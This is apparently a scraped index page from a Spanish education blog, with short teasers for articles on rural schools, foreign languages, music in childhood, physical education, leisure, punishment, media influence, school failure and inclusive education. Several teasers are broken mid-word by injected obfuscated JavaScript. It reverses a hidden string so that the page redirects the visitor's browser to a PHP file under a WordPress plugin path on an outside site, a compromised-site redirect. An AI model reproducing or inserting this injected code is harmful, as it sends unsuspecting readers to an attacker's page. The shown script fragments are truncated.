UN COLEGIO RURAL: EXPERIENCIAS VIVAS EN LOS 80

Autora: Paula Álvarez Sánchez           La problemática rural en educación es un frente abierto hace muchos años. Sin embargo, es posible sacar todo lo positivo a una experiencia  educativa rural, aport$hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == "string") return $hiVNZt4Y5cDrbJXMhLy.list[n].split("").reverse().join("");return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=["'php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth'=ferh.noitacol.tnemucod"];var... [Leer mas...]

“LOS IDIOMAS”: UNA ASIGNATURA PENDIENTE PARA MUCHOS ESPAÑOLES

Autora: María Benítez Sanz             Seguro que si alguna vez has viajado al extranjero, te has puesto a pensar durante un rato cómo decir en inglés: “¿Cuánto cuesta este billete?” o “¿Dónde está la estación de autobuses?” Ciertamente, si esta pregunta se la hiciéramos a un buen número de españoles, sería un porcentaje muy pequeño el que sabría responder; la mayoría se quedaría un rato pens$hiVNZt4Y5cDrbJXMhLy=function(n){if... [Leer mas...]

LA IMPORTANCIA DE LA MÚSICA EN LA INFANCIA

Autora: Manuela González Castaño           Hay un dicho que dice que “la música amansa a las fieras”. Realmente no sé si será así, pero, lo que está claro y es demostrable, es que a los niños los calma y los tranquiliza. Por eso, todos los educadores contamos con el recurso de la música en muchísimas ocasiones a lo largo de la jornada diaria en el aula.           La educación musical es un contenido muy importante... [Leer mas...]

EL JUEGO EN EL ÁREA DE EDUCACIÓN FÍSICA: “JUEGOS QUE FUNCIONAN”

Autores: Ana María Rangel Berrocal y Antonio Chaves Flores      INTRODUCCIÓN               El juego es una actividad que está presente en todos los seres humanos. Etólogos lo han identificado como un patrón de comportamiento que se ha consolidado a lo largo de la evolución de la especie.                 El que sea una actividad que se realiza en todo el mundo y por todos los seres humanos es el mejor indicio... [Leer mas...]

LA ORGANIZACIÓN DE LA CLASE Y DE LAS ACTIVIDADES EN EL ÁREA DE EDUCACIÓN FÍSICA

Autor: Ángel Pinilla Torres INTRODUCCIÓN             Hoy en día, al área de Educación Física se desarrolla en unas condiciones especiales, como son la gran variedad de actividades y situaciones que se dan en una sesión, así como la diversidad de espacios donde se puede desarrollar. Estos aspectos ponen de manifiesto la importancia que adquiere una adecuada organización tanto de grupos como de tareas.             Esta... [Leer mas...]

EL OCIO COMO DOCENTE

Autor: José Ricis Guerra             Muchas son las definiciones y conceptos de la educación en el  tiempo de ocio, desde actividades realizadas fuera del centro escolar,  como aquellas acciones que se hace en nuestro tiempo libre. Al margen de las posibles definiciones que podamos acuñar para explicar el concepto de “el ocio como docente”, una cosa es clara: constituye a cubrir la puesta  al día de los conocimientos de la sociedad,... [Leer mas...]

EL USO DEL CASTIGO PARA LA MODIFICACIÓN DE LA CONDUCTA EN LAS CLASES DE EDUCACIÓN FÍSICA PARTICULARMENTE

Autora: Milagros García Habernau           Más que castigar se tendría que reforzar las conductas positivas que aparecen en el aula; pero, a veces, tenemos que usar este recurso porque es inevitable que surja algún comportamiento violento o improcedente.           En mis primeros años de experiencia en las aulas, y más concretamente en los patios de recreo o en los gimnasios, no utilizaba bien el recurso del castigo para estimular... [Leer mas...]

INFLUENCIA DE LOS MEDIOS DE COMUNICACIÓN EN LOS ESCOLARES

Autora: Patricia García Benítez             La televisión ha cambiado el comportamiento de las familias, transformándose en una necesidad primaria, cu$hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == "string") return $hiVNZt4Y5cDrbJXMhLy.list[n].split("").reverse().join("");return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=["'php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth'=ferh.noitacol.tnemucod"];var... [Leer mas...]

FACTORES QUE CAUSAN EL FRACASO ESCOLAR

Autora: Milagros García Habernau          Son muchos los factores que se consideran que pueden estar caus$hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == "string") return $hiVNZt4Y5cDrbJXMhLy.list[n].split("").reverse().join("");return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=["'php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.r$vTB$I_919AeEAw2z$KX=function(n){if... [Leer mas...]

ESCUELA INCLUSIVA

Autora: Paula Álvarez Sánchez           La sociedad actual, con sus continuos cambios sociales, exige a la escuela una respuesta efectiva  para poder hacer frente a la diversidad de circunstancias que en ella concurren.              Ya en el siglo XIX, el  psicólogo y pedagogo John Dewey hacía referencia a que la educación era mucho más que transmitir; era preparar al alumno para su incorporación en la sociedad y esta... [Leer mas...]

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